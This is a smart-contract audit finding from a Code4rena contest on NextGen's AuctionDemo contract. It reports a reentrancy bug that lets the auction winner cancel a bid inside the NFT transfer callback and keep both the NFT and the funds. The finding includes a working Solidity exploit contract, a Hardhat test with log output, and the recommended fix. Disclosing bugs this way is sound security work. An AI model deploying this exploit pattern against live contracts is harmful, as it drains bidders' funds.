The auction winner can steal funds in auctionDemo contract

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Summary

The highest bidder can call claimAuction() and claim their nft. But the status of the bid is never set to false. If the block.timestamp == minter.getAuctionEndTime(_tokenid) they can call cancelAllBids() and get their nft payment back.

Vulnerability Details

The method claimAuction() uses SafeTransferFrom to ensure that receiver implements IERC721Receiver. This opens an opportunity for the malicious user to exeucte a method on onERC721Received(). The status of the bid is not set as false. So a winner can call cancelAllBids() and claim it's funds and get both the nft and its funds.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

POC:

• Alice bids 1 Eth in the auction.
• Bob bids 2 Eth in the auction.
• Alice bids 3 Eth.
• Adam bids 4 Eth.
• Alice bids 5 Eth and wins the auction. Alice exploits the contract and withdraw its 9 Eth back.

POC Test:

Add the exploit contract

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./AuctionDemo.sol";
import "./IERC721Receiver.sol";
import "hardhat/console.sol";

contract AuctionDemoStealUserFunds is IERC721Receiver {

    auctionDemo public auctionDemoAdd;
    address public owner;
    constructor(address _auctionDemo) {
        auctionDemoAdd = auctionDemo(_auctionDemo);
        owner = msg.sender;
    }   

    function participateInAuction(uint _tokenid) public payable {
        auctionDemoAdd.participateToAuction{value: msg.value}(_tokenid);
    }

    function runExploit(uint256 _tokenid) public payable {
        auctionDemoAdd.claimAuction(_tokenid);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        auctionDemoAdd.cancelBid(tokenId,auctionDemoAdd.returnBids(tokenId).length - 1);
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {
        (bool success, ) = payable(owner).call{value: address(this).balance}("");
    }
}

Add the below test case in nextGen.test.js

it("#mintAndAuctionStealFunds", async function () {
      await contracts.hhMinter.mintAndAuction(
        signers.owner.address, // _recipients
        '{"tdh": "100"}', // _numberOfTokens
        1, // _varg0
        2, // _collectionID
        await time.latest() + 9, // _numberOfTokens
      )
      const tokenId = 20000000003
      await contracts.hhCore.connect(signers.owner).approve(contracts.hhAuctionDemo.getAddress(), tokenId)
      console.log("Auction Status: ", await contracts.hhMinter.getAuctionStatus(tokenId))
      console.log("Alice Initial Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr1.address)).toString()));
      console.log("Bob Initial Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr2.address)).toString()));
      console.log("Adam Initial Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr3.address)).toString()));
      console.log("Alice bids 1 Eth in the auction")
      await contracts.hhAuctionDemoStealUserFunds.connect(signers.addr1).participateInAuction(tokenId,{value: "1000000000000000000"})
      console.log("Bob bids 2 Eth in the auction")
      await contracts.hhAuctionDemo.connect(signers.addr2).participateToAuction(tokenId,{value: "2000000000000000000"})
      console.log("Alice bids 3 Eth")
      await contracts.hhAuctionDemoStealUserFunds.connect(signers.addr1).participateInAuction(tokenId,{value: "3000000000000000000"})
      console.log("Adam bids 4 Eth")
      await contracts.hhAuctionDemo.connect(signers.addr3).participateToAuction(tokenId,{value: "4000000000000000000"})
      console.log("Alice bids 5 Eth")
      await contracts.hhAuctionDemoStealUserFunds.connect(signers.addr1).participateInAuction(tokenId,{value: "5000000000000000000"})
      mine(1)
      console.log("Alice wins the auction")
      await contracts.hhAuctionDemoStealUserFunds.connect(signers.addr1).runExploit(tokenId) 
      console.log("Alice Final Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr1.address)).toString()));
      console.log("Bob Final Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr2.address)).toString()));
      console.log("Adam Final Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr3.address)).toString()));
    })

POC Logs:

Auction Status:  true
Alice Initial Balance:  9999.999162570768175017
Bob Initial Balance:  9993.899025217827686001
Adam Initial Balance:  10000.0
Alice bids 1 Eth in the auction
Bob bids 2 Eth in the auction
Alice bids 3 Eth
Adam bids 4 Eth
Alice bids 5 Eth
Alice wins the auction
Alice Final Balance:  9999.998472208501724783
Bob Final Balance:  9993.898914956902548981
Adam Final Balance:  9999.999878813762652391

Impact

A user can claim its funds as well as the nft by exploiting the safeTranferFrom() method.

Recommendations

Either update the require statement as below.

     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
-        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
+        require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

or add a check !auctionClaim[_tokenid] in cancelBid() and cancelAllBids().

function cancelBid(uint256 _tokenid, uint256 index) public {
+        require(!auctionClaim[_tokenid],"Auction ended");
         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

function cancelAllBids(uint256 _tokenid) public {
+        require(!auctionClaim[_tokenid],"Auction ended");
         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as satisfactory